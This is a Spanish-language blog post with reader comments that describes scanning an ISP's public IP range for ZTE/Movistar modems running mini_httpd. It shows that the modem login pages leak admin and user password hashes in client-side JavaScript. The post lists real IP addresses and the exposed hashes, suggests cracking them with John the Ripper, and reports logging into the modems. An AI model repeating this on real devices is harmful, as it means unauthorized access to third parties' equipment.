martes, 2 de julio de 2013

Javascript + Configuracion = Bug !!


Saludos a todos...

Curiosiando por la red como imagino que muchos de ustedes lo hacen , me dio curiosidad cuando me tope con una peticion http

HTTP/1.0 200 Ok
Server: mini_httpd/1.19 19dec2003
Date: Tue, 02 Jul 2013 09:47:12 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 75
Last-Modified: Thu, 24 Jan 2013 13:22:07 GMT
Connection: close

la cual indicaba un servidor http mini_httpd , en la red hay mucha información relacionada con este tipo de servicio y asi mismo varias vulnerabilidades sobre el pero no encontre alguna que indicara una de Password Disclosure la cual nos permite observar credenciales , en este caso los credenciales no se encuentran en blanco pero nada que no se pueda solucionar xD



Se empieza con simple barrido ips viendo que tengan el puerto 80 abierto




en esta primera busqueda todos tienen el puerto 80 abierto y no indica 3 tipos de banderas de los servidores web

  • DSL-2640T D-Link 2640T DSL router
  • Allegro RomPager 4.07 UPnP/1.0 (ZyXEL ZyWALL 2) : ZTE
  • mini_httpd 1.19 19dec2003
nuestro interes para este post se centra en el ultimo  mini_httpd 1.19  19dec2003 , asi que filtrando un poco nuestras ips tendremos algo mas puntual

Nmap scan report for 186.112.30.6                                                              
Host is up (0.046s latency).                                                                     
PORT   STATE SERVICE VERSION                                                                        
80/tcp open  http    mini_httpd 1.19 19dec2003                                                        
                                                                                                                    
Nmap scan report for 186.112.30.10                                                                                   
Host is up (0.077s latency).
PORT   STATE SERVICE VERSION
80/tcp open  http    mini_httpd 1.19 19dec2003

Nmap scan report for 186.112.30.34
Host is up (0.13s latency).
PORT   STATE SERVICE VERSION
80/tcp open  http    mini_httpd 1.19 19dec2003

Nmap scan report for 186.112.30.35
Host is up (0.075s latency).
PORT   STATE SERVICE VERSION
80/tcp open  http    mini_httpd 1.19 19dec2003

Nmap scan report for 186.112.30.61
Host is up (0.079s latency).
PORT   STATE SERVICE VERSION
80/tcp open  http    mini_httpd 1.19 19dec2003

Nmap scan report for 186.112.30.62
Host is up (0.075s latency).
PORT   STATE SERVICE VERSION
80/tcp open  http    mini_httpd 1.19 19dec2003

Nmap scan report for 186.112.30.69
Host is up (0.30s latency).
PORT   STATE SERVICE VERSION
80/tcp open  http    mini_httpd 1.19 19dec2003

Nmap scan report for 186.112.30.75
Host is up (0.064s latency).
PORT   STATE SERVICE VERSION
80/tcp open  http    mini_httpd 1.19 19dec2003

Nmap scan report for 186.112.30.76
Host is up (0.080s latency).
PORT   STATE SERVICE VERSION
80/tcp open  http    mini_httpd 1.19 19dec2003

Nmap scan report for 186.112.30.93
Host is up (0.048s latency).
PORT   STATE SERVICE VERSION
80/tcp open  http    mini_httpd 1.19 19dec2003

Nmap scan report for 186.112.30.99
Host is up (0.46s latency).
PORT   STATE SERVICE VERSION
80/tcp open  http    mini_httpd 1.19 19dec2003

tenemos unos 30 host que utilizan este servicio web ahora al acceder nos encontramos que es a la empresa de telefonia Movistar hummm





viendo su codigo fuente nos encontramos con validaciones en javascript las cuales son debiles y nos dan informacion de usuarios con sus claves cifradas para poder entrar.

                G_UserInfo[m][0] = "admin"; //UserName
  G_UserInfo[m][1] = "$1$TW$L5PTnB3MvQmxU/eAAmuRI0"; //Password
  G_UserInfo[m][2] = "1"; //Level
  G_UserInfo[m][3] = "1"; //Index
  m++;
  G_UserInfo[m] = new Array();
  G_UserInfo[m][0] = "user"; //UserName
  G_UserInfo[m][1] = "$1$TW$3q69ksdrX7zaaLg54vFxN0"; //Password
  G_UserInfo[m][2] = "2"; //Level
  G_UserInfo[m][3] = "2"; //Index
  m++;
  G_UserInfo[m] = new Array();
  G_UserInfo[m][0] = "support"; //UserName
  G_UserInfo[m][1] = "$1$TW$yS.Dzi9LPS3wn0qUQMBEA1"; //Password
  G_UserInfo[m][2] = "3"; //Level
  G_UserInfo[m][3] = "3"; //Index
  m++;
  G_UserInfo[m] = new Array();
  G_UserInfo[m][0] = "usuario"; //UserName
  G_UserInfo[m][1] = "$1$TW$jHcDZCGM2cEE7Hu35BaTm."; //Password
  G_UserInfo[m][2] = "2"; //Level
  G_UserInfo[m][3] = "4"; //Index
  m++;
 

llegados a esta parte solo queda organizar la información y tratar de romper los passwords con nuestro amigo john xD

admin:$1$TW$L5PTnB3MvQmxU/eAAmuRI0
user:$1$TW$3q69ksdrX7zaaLg54vFxN0
support:$1$TW$yS.Dzi9LPS3wn0qUQMBEA1
usuario:$1$TW$jHcDZCGM2cEE7Hu35BaTm. 
 
 


al probar el usuario support no nos permite ingresar, supongo que estará deshabilitado por algun motivo, al entrar con user nos permite ver su configuracion y modificarla por medio del asistente,







Es curioso la implementacion de estas validaciones y del desconocimiento de estas por parte de las empresas , siguiendo con las pruebas tomando otra ip nos encontramos con la misma empresa pero con un panel diferente



mirando su codigo fuente encontramos el mismo patron de validaciones en javascript

                G_UserInfo[m][0] = "admin"; //UserName
  G_UserInfo[m][1] = "$1$TW$L4YnsjZVDfru76rojWjXT/"; //Password
  G_UserInfo[m][2] = "1"; //Level
  G_UserInfo[m][3] = "1"; //Index
  m++;
  G_UserInfo[m] = new Array();
  G_UserInfo[m][0] = "usuario"; //UserName
  G_UserInfo[m][1] = "$1$TW$jHcDZCGM2cEE7Hu35BaTm."; //Password
  G_UserInfo[m][2] = "2"; //Level
  G_UserInfo[m][3] = "2"; //Index
  m++;
  G_UserInfo[m] = new Array();
  G_UserInfo[m][0] = "support"; //UserName
  G_UserInfo[m][1] = "$1$TW$yS.Dzi9LPS3wn0qUQMBEA1"; //Password
  G_UserInfo[m][2] = "3"; //Level
  G_UserInfo[m][3] = "3"; //Index
 
 
 
en este caso entramos con el usuario y estamos frente a toda la gestion del modem.
 
 
 
 
 
 
 
Bueno esto es todo para este post espero que algo se aprenda de todo esto,
 
Nota: Todo lo mostrado no es con el fin de hacer daño alguno, ni mucho menos hacer daño a las empresas
que manejan estos disposivos , por lo contrario la finalidad es crear conciencia frente a estas 
vulnerabilidades y que se tomen las medidas necesarias para generar mejores controles de seguridad

Bytez...
 
 
 
 
 
 
 
 
 
 
 

8 comentarios:

  1. Una pregunta tengo el modem zte estube mirando el codigo para entrar a el y busque el codigo que salio y encontre este blog :D me podrias ayuda a desifrar este codigo: $1$TW$jHcDZCGM2cEE7Hu35BaTm.
    Gracias, el punto va en el codigo.

    ResponderEliminar
  2. Me enquivoque xD el codigo que te dije dice "usuario" pero este es el que necesito que me ayudeS: $0$TW$lIre6SDWdOy7DJSqw4nKj/
    Gracias el / es necesario.

    ResponderEliminar
  3. Saludos Sebastian, en el post se explico como sacar el valor del cifrado... ten encuenta que para esto debes tener un minimo de conocimiento en temas de seguridad y hacking y algo que te aconsejo es nunca pedir que te hagan las cosas, en seguridad no se pide solo se buscan los metodos para uno mismo lograrlo, asi que tomalo como un reto, saludos

    ResponderEliminar
  4. como hago para desecncriptar el codigo que me aparece: $1$TW$4GGNW9PvP43XeHj.wsI8g.

    ResponderEliminar
  5. como lo indicamos en los comentarios anteriores, ya se explico esto.

    ResponderEliminar
  6. http://cloudzer.net/file/06e90kd5 adios cloudzer

    ResponderEliminar
  7. amigo facinado con lo que tenes aqui pero como se puede hacer para obtener claves de wifi

    ResponderEliminar